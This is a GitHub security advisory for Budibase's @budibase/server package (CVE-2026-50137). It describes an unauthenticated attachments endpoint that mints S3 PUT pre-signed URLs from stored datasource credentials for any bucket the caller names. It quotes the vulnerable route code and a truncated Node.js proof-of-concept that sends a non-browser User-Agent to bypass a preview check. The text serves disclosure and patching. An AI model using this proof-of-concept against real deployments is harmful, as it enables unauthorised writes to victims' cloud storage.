GitHub Advisoryadvisory · npm
GHSA-35c4-rvc8-frhm Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials
HIGH
Official page ↗
- Aliases
- CVE-2026-50137
- Ecosystem
- npm
- Packages
- @budibase/server
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
- Weaknesses
- CWE-862
- Reviewed
- 2026-06-22
Affected packages
• npm @budibase/server: < 3.39.0 → fixed in 3.39.0
Description
Summary
The Budibase server route `POST /api/attachments/:datasourceId/url` (`packages/server/src/api/routes/static.ts`) is registered with only the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller (`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource's configured bucket.
The workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` (`packages/backend-core/src/utils/utils.ts`) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware's "deny access to dev preview" branch only triggers under `isBrowser(ctx) && !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.
Net effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.
Affected code
`packages/server/src/api/routes/static.ts` at HEAD `56d2a984` (`master`, 2026-05-18):
```ts
import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"
const { BUILDER, PermissionType, PermissionLevel } = permissions
const router: Router = new Router()
// ...
router
.post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
.post(
"/api/attachments/:tableId/upload",
recaptcha,
paramResource("tableId"),
authorized(PermissionType.TABLE, PermissionLevel.WRITE),
controller.uploadFile
)
// ...
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
controller.getSignedUploadURL //
"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")
function postJson(targetUrl, headers, body) {
return new Promise((resolve, reject) => {
const u = new URL(targetUrl)
const lib = u.protocol === "https:" ? https : http
const payload = Buffer.from(JSON.stringify(body), "utf8")
const req = lib.request(
{
method: "POST",
protocol: u.protocol,
hostname: u.hostname,
port: u.port || (u.protocol === "https:" ? 443 : 80),
path: u.pathname + u.search,
headers: Object.assign(
{
"Content-Type": "application/json",
"Content-Length": payload.length,
// Deliberately not a recognised browser UA so the
// currentWorkspace dev-preview redirect does not fire.
"User-Agent": "budibase-poc/1.0",
},
headers || {}
),
},
res => {
const chunks = []
res.on("data", c => chunks.push(c))
res.on("end", () =>
resolve({
status: res.statusCode,
body: Buffer.concat(chunks).toString("utf8"),
})
)
}
)
req.on("error", reject)
req.write(payload)
req.end()
})
}
async function main() {
const [baseUrl, appId, datasourceId] = process.argv.slice(2)
if (!baseUrl || !appId || !datasourceId) {
console.error("usage: node poc.js ")
process.exit(2)
}
const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket"
…
Related
Alias · CVE (1)
- CVE-2026-50137 Budibase is an open-source low-code platform. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness